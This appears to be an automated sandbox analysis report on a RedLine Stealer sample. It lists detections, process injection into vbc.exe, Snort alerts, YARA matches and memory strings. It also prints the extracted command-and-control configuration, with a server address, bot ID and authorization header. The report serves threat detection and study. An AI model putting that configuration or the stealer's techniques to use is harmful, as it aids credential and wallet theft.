Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:	file.exe
Analysis ID:	756296
MD5:	b285997d1fb1ed7ff9129e4e9566c2e5
SHA1:	64fe09e86b2e6dc67bb85faf9d7a746976edb4a0
SHA256:	8edce063ac9af61dd0b493b9dec7e959b93021ad55a07cfe6e2b5519b46581f2
Tags:	exe
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Malicious sample detected (through community Yara rule)

Snort IDS alert for network traffic

Writes to foreign memory regions

Tries to steal Crypto Currency Wallets

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Contains functionality to inject code into remote processes

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

C2 URLs / IPs found in malware configuration

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains long sleeps (>= 3 min)

Enables debug privileges

Is looking for software installed on the system

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

Contains functionality to read the PEB

PE file contains more sections than normal

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

file.exe (PID: 5316 cmdline: C:\Users\user\Desktop\file.exe MD5: B285997D1FB1ED7FF9129E4E9566C2E5)

conhost.exe (PID: 5332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

vbc.exe (PID: 5384 cmdline: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\vbc.exe MD5: B3A917344F5610BEEC562556F11300FA)

cleanup

Malware Configuration

Threatname: RedLine

{"C2 url": ["172.86.120.146:2819"], "Bot Id": "1kMixWorldTest", "Authorization Header": "7158f67354faaa79bd6ac126ef4cf20e"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.263012533.00000000010B2000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: file.exe PID: 5316	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: vbc.exe PID: 5384	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: vbc.exe PID: 5384	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.3.file.exe.10b0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.3.file.exe.10b0000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x2104c:$pat14: , CommandLine: 0x18d58:$v2_1: ListOfProcesses 0x18aec:$v4_3: base64str 0x19b7f:$v4_4: stringKey 0x16708:$v4_5: BytesToStringConverted 0x15770:$v4_6: FromBase64 0x16edc:$v4_8: procName 0x1725f:$v5_1: DownloadAndExecuteUpdate 0x189fc:$v5_2: ITaskProcessor 0x1724d:$v5_3: CommandLineUpdate 0x1723e:$v5_4: DownloadUpdate 0x178f0:$v5_5: FileScanning 0x16a77:$v5_7: RecordHeaderField 0x16496:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
0.2.file.exe.4a17a0.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.file.exe.4a17a0.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1f44c:$pat14: , CommandLine: 0x17158:$v2_1: ListOfProcesses 0x16eec:$v4_3: base64str 0x17f7f:$v4_4: stringKey 0x14b08:$v4_5: BytesToStringConverted 0x13b70:$v4_6: FromBase64 0x152dc:$v4_8: procName 0x1565f:$v5_1: DownloadAndExecuteUpdate 0x16dfc:$v5_2: ITaskProcessor 0x1564d:$v5_3: CommandLineUpdate 0x1563e:$v5_4: DownloadUpdate 0x15cf0:$v5_5: FileScanning 0x14e77:$v5_7: RecordHeaderField 0x14896:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
0.2.file.exe.3e0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.file.exe.3e0000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xe1bec:$pat14: , CommandLine: 0xd98f8:$v2_1: ListOfProcesses 0xd968c:$v4_3: base64str 0xda71f:$v4_4: stringKey 0xd72a8:$v4_5: BytesToStringConverted 0xd6310:$v4_6: FromBase64 0xd7a7c:$v4_8: procName 0xd7dff:$v5_1: DownloadAndExecuteUpdate 0xd959c:$v5_2: ITaskProcessor 0xd7ded:$v5_3: CommandLineUpdate 0xd7dde:$v5_4: DownloadUpdate 0xd8490:$v5_5: FileScanning 0xd7617:$v5_7: RecordHeaderField 0xd7036:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
Click to see the 1 entries

Snort Signatures

ETPRO TROJAN Redline Stealer TCP CnC Activity - Source IP: 192.168.2.3 - Destination IP: 172.86.120.146

Timestamp:	192.168.2.3172.86.120.1464968428192850286 11/30/22-00:11:55.241038
SID:	2850286
Source Port:	49684
Destination Port:	2819
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init - Source IP: 192.168.2.3 - Destination IP: 172.86.120.146

Timestamp:	192.168.2.3172.86.120.1464968428192850027 11/30/22-00:11:30.935107
SID:	2850027
Source Port:	49684
Destination Port:	2819
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Redline Stealer TCP CnC - Id1Response - Source IP: 172.86.120.146 - Destination IP: 192.168.2.3

Timestamp:	172.86.120.146192.168.2.32819496842850353 11/30/22-00:11:32.905229
SID:	2850353
Source Port:	2819
Destination Port:	49684
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: 0.3.file.exe.10b0000.0.unpack

Malware Configuration Extractor: RedLine {"C2 url": ["172.86.120.146:2819"], "Bot Id": "1kMixWorldTest", "Authorization Header": "7158f67354faaa79bd6ac126ef4cf20e"}

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, 32BIT_MACHINE

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	0_2_0040A0A0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then push ebp	0_2_0044C3C5
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then push ebp	0_2_0044C3C1
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then push ebp	0_2_0044C3C9
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then push esi	0_2_0045A490
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	0_2_0040A580
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp 00450450h	0_2_00450600
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then push esi	0_2_0040A6A0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	0_2_00414740
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	0_2_004127F0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then push esi	0_2_00412860
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	0_2_00412860
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	0_2_00412BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, 004C5050h	0_2_00458BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then push ebp	0_2_00456BFA
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then push esi	0_2_00412C50
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	0_2_00412C50
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then push ebp	0_2_00456CEA
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then push edi	0_2_00458DA0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then push ebp	0_2_00452E83
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then push edi	0_2_0045AFD0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then push edi	0_2_0045AFD0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then push ebp	0_2_0045AFD0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, ecx	0_2_00482FD0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then push ebp	0_2_00422F87
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then push ebp	0_2_00422F8B
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then push ebp	0_2_00422F8F
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edx, byte ptr [esp+14h]	0_2_0044D235
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edx, byte ptr [esp+14h]	0_2_0044D231
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edx, byte ptr [esp+14h]	0_2_0044D23F

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2850027 ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init 192.168.2.3:49684 -> 172.86.120.146:2819
Source: Traffic	Snort IDS: 2850286 ETPRO TROJAN Redline Stealer TCP CnC Activity 192.168.2.3:49684 -> 172.86.120.146:2819
Source: Traffic	Snort IDS: 2850353 ETPRO MALWARE Redline Stealer TCP CnC - Id1Response 172.86.120.146:2819 -> 192.168.2.3:49684

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 172.86.120.146:2819

Source: Joe Sandbox View

ASN Name: NETRANGEUS NETRANGEUS

Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 172.86.120.146

Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: vbc.exe, 00000002.00000002.354699898.0000000004E86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adoboshop/$
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultp
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
